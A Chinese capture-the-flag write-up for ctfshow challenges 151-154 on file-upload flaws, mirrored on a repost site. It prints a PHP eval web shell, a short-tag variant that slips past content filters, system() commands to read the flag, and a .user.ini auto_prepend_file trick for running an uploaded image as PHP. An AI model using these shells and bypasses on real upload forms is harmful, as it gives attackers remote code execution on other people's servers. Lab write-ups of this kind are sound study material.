当前位置: 首页 > news >正文

ctfshow(151->154)--文件上传漏洞--.user.ini

Web151

进入界面:
在这里插入图片描述

审计:

提示是前台校验。
存在图片上传。

思路:

先编写一个一句话木马文件:

//shell.php
<?php @eval($_POST[1]); ?>

既然是前端校验,我们查看页面源代码找到相关的校验内容:
在这里插入图片描述
说明只允许上传.png后缀的文件。
我们修改代码为允许上传.php文件:
在这里插入图片描述然后上传一句话木马文件:

在这里插入图片描述进入shell.php文件,POST传参1=system("ls ../");查看上一级目录,发现flag.php

1=system("cat ../fla*");

得到flag.

Web152

进入界面:
在这里插入图片描述

审计:

在前端校验的基础上,增加了对请求头中Content-Type的验证。也称MIME验证。

思路:

先绕过前端验证。
可以和上一题一样修改前端代码,也可以将shell.php文件的后缀名修改为.png通过前端验证,然后抓包将文件的后缀名修改回去。也绕过了前端验证。
在这里插入图片描述
由于我们是以.png后缀上传的,所以Content-Type的值是image/png,符合服务端要求,文件成功上传。
在这里插入图片描述
执行系统命令:

1=system("tac ../fl*");

得到flag.

Web153

进入页面:
在这里插入图片描述

审计:

前端验证+MIME验证+黑名单

思路:

上传.png后缀的木马,抓包修改回.php后缀:
在这里插入图片描述发现文件不合规,说明后端对.php后缀名进行了过滤。

我们可以使用.user.ini文件,文件内容为:

auto_prepend_file=shell.png

作用为:在访问主页文件时,会自动包含shell.png文件,将其文件内容当做php代码执行。
先将文件名修改为.user.ini.png,绕过前端验证,上传该文件,然后抓包修改:
在这里插入图片描述
然后用同样的方式绕过前端验证上传shell.png文件。
这时候我们在/upload处就可以实现RCE。也可以使用蚁剑连接:
在这里插入图片描述在这里插入图片描述
找到flag.

Web154

进入界面:
在这里插入图片描述

审计:

前端验证+MIME验证+黑名单

思路:

上传.user.ini文件
在这里插入图片描述上传shell.png文件
在这里插入图片描述提示文件内容不合规。

<?php @eval($_POST[1]);?> //文件内容//怀疑是过滤了php,利用短标签绕过
<?= @eval($_POST[1]);?>

在这里插入图片描述上传成功。蚁剑连接:
在这里插入图片描述
得到flag.


http://www.mrgr.cn/news/60688.html

相关文章:

  • 51c嵌入式~IO合集1
  • Springboot项目搭建的问题
  • [论文阅读]Large Language Model guided Protocol Fuzzing
  • 亚马逊云免费Amazon CloudFront服务
  • python如何构建mock接口服务
  • xlnt加载excel报错:‘localSheetId‘ expected
  • 热门四款深度数据恢复软件大比拼!!!
  • 一个临床数据收集/调查问卷APP模板(streamlit+MongoDB)
  • rand5生成rand7
  • 代码随想录之字符串
  • Linux 进程间通信_匿名管道
  • IE快捷方式加载特定主页
  • 二叉树的存储方式和遍历方式
  • 错误概率平均错误概率的计算
  • WPF+MVVM案例实战(九)- 霓虹灯字效果控件封装实现
  • 【Javaee】网络原理—http协议(一)
  • 特种作业操作高压电工题库
  • Spring AOP
  • 洛谷P1025-数的划分 详解
  • DNS域名解析服务器
  • 大模型低资源部署策略
  • 驱动-----LED
  • Cesium着色器
  • NFT Insider #153:The Sandbox 推出 Biggie 奇妙宇宙体验,ApeChain 推出顶级交易员游戏
  • RHCE的学习(8)
  • leetcode-63-不同陆路径II